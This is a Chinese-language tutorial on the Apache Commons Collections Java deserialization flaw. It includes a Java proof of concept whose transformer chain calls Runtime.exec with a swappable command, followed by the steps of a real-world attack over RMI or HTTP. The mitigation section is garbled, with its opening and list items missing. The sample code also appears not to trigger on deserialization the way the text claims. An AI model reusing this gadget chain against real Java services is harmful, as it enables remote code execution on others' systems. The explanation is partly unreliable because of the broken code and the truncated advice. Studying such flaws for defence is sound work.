Apache Commons Collections是一个广泛使用的Java库,提供了许多有用的数据结构工具类和接口实现。在2015年发现的该库的反序列化漏洞(CVE-2015-6420)允许攻击者通过精心构造的序列化数据在目标系统上执行任意代码。
该漏洞的核心在于Apache Commons Collections库中的一些特殊类(如InvokerTransformer
、ConstantTransformer
和ChainedTransformer
)可以被串联起来,在反序列化时执行任意Java方法。
具体来说:
1. InvokerTransformer
类可以通过反射调用任意方法
2. 攻击者可以构造一个TransformedMap
,其中包含恶意的transformer链
3. 当这个对象被反序列化时,transformer链会被自动执行
以下是一个简化的漏洞利用示例:
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class CommonsCollectionsExploit {
public static void main(String[] args) throws Exception {
// 构造恶意transformer链
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class},
new Object[] {null, new Object[0]}),
new InvokerTransformer("exec",
new Class[] {String.class},
new Object[] {"calc.exe"})
};
Transformer chain = new ChainedTransformer(transformers);
// 构造TransformedMap
Map innerMap = new HashMap();
innerMap.put("value", "value");
Map outerMap = TransformedMap.decorate(innerMap, null, chain);
// 序列化恶意对象
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(outerMap);
oos.close();
// 反序列化触发漏洞
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
}
该漏洞影响Apache Commons Collections 3.x系列3.2.1之前的版本和4.x系列4.0之前的版本。
SerialKiller
或ObjectInputFilter
来过滤危险的序列化类在实际攻击中,攻击者通常会: 1. 寻找使用Apache Commons Collections且接受外部序列化数据的Java应用 2. 构造恶意的序列化对象 3. 通过RMI、HTTP请求或其他方式将恶意对象发送给目标应用 4. 当目标应用反序列化该对象时,攻击代码被执行
Apache Commons Collections反序列化漏洞是一个经典的Java反序列化漏洞案例,它展示了不安全的反序列化操作可能带来的严重后果。开发人员应当始终对反序列化操作保持警惕,只反序列化来自可信来源的数据,并保持依赖库的最新版本。